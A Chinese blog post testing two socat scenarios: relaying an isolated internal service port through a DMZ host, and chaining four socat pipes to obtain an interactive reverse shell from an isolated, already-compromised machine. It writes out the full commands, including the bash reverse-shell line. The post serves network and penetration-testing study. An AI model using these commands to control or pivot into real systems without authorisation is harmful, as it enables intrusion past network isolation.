SOCAT的兩個(gè)應(yīng)用場(chǎng)景測(cè)試

一:關(guān)于SOCAT

? ? ? ? SOCAT(Socket CAT)是一個(gè)網(wǎng)絡(luò)工具,它的核心理念是建立兩個(gè)“地址”間的雙向通信管道。咋一聽,這功能平白無奇,但,作為工程師的你,明白的:這里的地址,指的是文件描述符,而“Linux一切皆文件”,于是,SOCAT簡(jiǎn)直有點(diǎn)無所不能。

? ? ? ? 出于興趣,業(yè)余時(shí)間測(cè)試了SOCAT的兩個(gè)應(yīng)用場(chǎng)景,分享之。

二:內(nèi)網(wǎng)服務(wù)端口映射到隔離區(qū)機(jī)器

? ? ? ? 隔離內(nèi)網(wǎng)的虛擬機(jī)10.0.0.1上有一服務(wù),監(jiān)聽端口為7777,想在公網(wǎng)也能訪問它。解決辦法有多種,比如說用iptables 的DNAT配置或者其他的工具,但本文只關(guān)注SOCAT的使用。

? ? ? ? 下面是場(chǎng)景測(cè)試的結(jié)構(gòu)圖:


圖一

測(cè)試步驟

(1)在隔離機(jī)器183.xx.xx.217上機(jī)器上運(yùn)行:

????????socat tcp-listen:20048 tcp-listen:56303

圖二

????????此命令在隔離機(jī)器上建立了臨時(shí)的監(jiān)聽端口20048,一旦有連接進(jìn)入,則啟動(dòng)映射的目標(biāo)端口56303的端口監(jiān)聽,以及建立連接和56303的端口的雙向管道。從隔離機(jī)器上看,映射連接發(fā)生之前,只有臨時(shí)端口20048在監(jiān)聽。

圖三

(2)內(nèi)網(wǎng)機(jī)器啟動(dòng)服務(wù),監(jiān)聽7777端口(這里用了NETCAT簡(jiǎn)單啟動(dòng)一個(gè)服務(wù))

(3)在內(nèi)網(wǎng)機(jī)器10.0.0.1上配置第二個(gè)SOCAT管道,完成服務(wù)映射

????????socat tcp:192.168.10.3:20048 tcp:10.0.0.1:7777

圖四

????????命令建立從內(nèi)網(wǎng)機(jī)器(10.0.0.1)到隔離機(jī)器(內(nèi)網(wǎng)IP是192.168.10.3)的TCP連接,隔離機(jī)器上臨時(shí)的監(jiān)聽端口20048,接收到連接請(qǐng)求,則啟動(dòng)映射的目標(biāo)端口56303的端口監(jiān)聽,以及建立本連接和56303的端口的雙向管道。如圖所示,隔離機(jī)器上變成了56303的端口監(jiān)聽和可以看到來自內(nèi)網(wǎng)機(jī)器的TCP連接


圖五

(4)在公網(wǎng)訪問隔離機(jī)器的56303端口,相當(dāng)于訪問內(nèi)網(wǎng)機(jī)器10.0.0.1的7777端口,可以看到通信收發(fā)都是正確的

圖六

從內(nèi)網(wǎng)機(jī)器10.0.0.1上查看7777端口的數(shù)據(jù)收發(fā),也是正確的


圖六


三:使用案例二:隔離內(nèi)網(wǎng)的反向交互式shell

? ? ? ? 使用場(chǎng)景:需要遠(yuǎn)程控制隔離內(nèi)網(wǎng)的虛擬機(jī)10.0.0.1,假設(shè)10.0.0.1的虛擬機(jī)已經(jīng)被控制(比如說在滲透測(cè)試的場(chǎng)合遠(yuǎn)程控制被黑機(jī)器,或者是業(yè)務(wù)上需遠(yuǎn)程控制某隔離內(nèi)網(wǎng)的終端設(shè)備)。10.0.0.1不能訪問公網(wǎng),只能訪問隔離區(qū)的機(jī)器,于是,這里考慮將10.0.0.1的反向shell映射到隔離機(jī)器的某個(gè)端口上。


圖七


? ? ? ? 這個(gè)實(shí)現(xiàn)方案中,使用了4條SOCAT命令,實(shí)現(xiàn)4條“管道”。在圖中用紅色的帶箭頭的線段表示。

(1)在隔離機(jī)器183.xx.xx.217上機(jī)器上運(yùn)行:

????????socat tcp-listen:20048 tcp-listen:56303


圖八

(2)在本地機(jī)器啟動(dòng)本地的7777端口LISTEN

????????socat file:`tty`,raw,echo=0 tcp-listen:7777


圖九

????這里其實(shí)是一條特殊的管道,tty和本地7777端口之間的管道,圖中標(biāo)成“管道3”
(3)在本地機(jī)器上配置端口綁定

????????socat tcp:183.XX.XX.217:20048 tcp:127.0.0.1:7777

這條命令初始化了“管道1”和“管道2”,在隔離機(jī)器上可以看到,“管道1”的監(jiān)聽端口,和“管道2”的連接。

(4)在遠(yuǎn)程內(nèi)網(wǎng)機(jī)器(10.0.0.1)上生成反向的SEHLL到隔離機(jī)器(遠(yuǎn)程隔離內(nèi)網(wǎng)IP為192.168.10.3)的端口綁定,“管道4” 生成。

????????socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.10.3:56303

圖十

(5)本地機(jī)器的監(jiān)聽7777端口的窗口成功收到反向shell


圖十一
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容